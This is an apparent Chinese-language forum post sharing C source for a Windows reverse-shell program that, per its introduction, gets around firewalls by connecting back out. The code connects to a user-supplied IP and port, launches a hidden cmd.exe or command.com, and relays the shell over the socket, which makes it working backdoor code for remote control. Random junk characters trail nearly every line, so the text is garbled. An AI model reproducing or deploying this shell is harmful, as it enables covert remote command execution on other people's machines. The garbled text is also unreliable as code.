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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 pTaC$Ne  
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/* ============================== xQ';$&  
Rebound port in Windows NT ]#[4eaCg  
By wind,2006/7 |)xWQ KzA  
===============================*/ E2 FnC}#W  
#include $vK,Gugcx  
#include  _X  
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#pragma comment(lib,"wsock32.lib") \03<dUA6  
8bQXC+bK  
void OutputShell(); [m4M#Lg\0  
SOCKET sClient; Ie K+  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; e$teh` p3  
DE7y\oO]  
void main(int argc,char **argv) AOkG.u-k  
{ TV0sxod6  
WSADATA stWsaData; JhjH_)  
int nRet; W}N7jPO}  
SOCKADDR_IN stSaiClient,stSaiServer; 3#x1(+c6  
m]*a;a'}#  
if(argc != 3) Niu |M@  
{ N p*T[J  
printf("Useage:\n\rRebound DestIP DestPort\n"); vz#-uw,O:  
return; .%dGSDru  
}  Lagk   
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WSAStartup(MAKEWORD(2,2),&stWsaData); =f H5 r_n  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +)bn}L>R l  
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stSaiClient.sin_family = AF_INET; d2NFdBoI  
stSaiClient.sin_port = htons(0); j/Y]3RSMp  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WVsj  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) j!kJ@lbP  
{ {qlcTc  
printf("Bind Socket Failed!\n"); }ng?Ar[  
return; T`pDjT  
} `&.qHw)  
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stSaiServer.sin_family = AF_INET; [E%g3>/mt  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); .I EHjy\+  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ji>LBbnHdE  
rW|%eT*/'A  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {chZ&8)f  
{ d>mT+{3  
printf("Connect Error!"); >Ut: -}CS  
return; SOX7  
} g\q4-  
OutputShell(); 94et ]u%7  
} YjnQ@IfIH  
- f ^ ! R  
void OutputShell() (]\p'%A)  
{ TQKcPVlE  
char szBuff[1024]; wdf;LM  
SECURITY_ATTRIBUTES stSecurityAttributes; 0>Td4qr+u  
OSVERSIONINFO stOsversionInfo; N P+ vi@Ud  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }:YL'$:5!  
STARTUPINFO stStartupInfo; QZG<sZ0"  
char *szShell; &o7PB` (l  
PROCESS_INFORMATION stProcessInformation; (3$DUvx7  
unsigned long lBytesRead; ^fe,A=k~1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); IY8<^Q']  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); TmftEw>u  
stSecurityAttributes.lpSecurityDescriptor = 0; z;P#  
stSecurityAttributes.bInheritHandle = TRUE; F!g1.49""  
rNJU & .]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]T|$nwQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ;-JFb$m  
!ht2*8$lQ  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Wu<;QY($5  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @k)J i!7  
stStartupInfo.wShowWindow = SW_HIDE; P7zUf  
stStartupInfo.hStdInput = hReadPipe; 6M`gy|"(~  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; )eT>[['fm  
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GetVersionEx(&stOsversionInfo); :j .:t  
tY]?2u%)  
switch(stOsversionInfo.dwPlatformId) N>YSXh`W`y  
{ ?;htK_E\*  
case 1: `p9N| V  
szShell = "command.com"; V s xI  
break; 'I+M*Iy  
default: Nu?A>Q  
szShell = "cmd.exe"; %*!6R:gAp  
break; n"aF#HR?0d  
} gm,AH85  
i ]8bj5j{  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Vt3*~Beb  
?wlRHVZ  
send(sClient,szMsg,77,0); {]8|\CcY?  
while(1) (y6q}#<  
{ 62,dFM7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); *xpn-hCp<  
if(lBytesRead) _EP]|DTfr  
{ ~Gmt,l! b  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 82ixv<B  
send(sClient,szBuff,lBytesRead,0); o6;  
} Z2yO /$<  
else Cw(ypu  
{ D@9 +yu=S  
lBytesRead=recv(sClient,szBuff,1024,0); h%$^s0w  
if(lBytesRead<=0) break; 1goRO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); H[nBNz)C  
} z9OpMA  
} :<B_V<  
$z*"@  
return; axt;}8  
}
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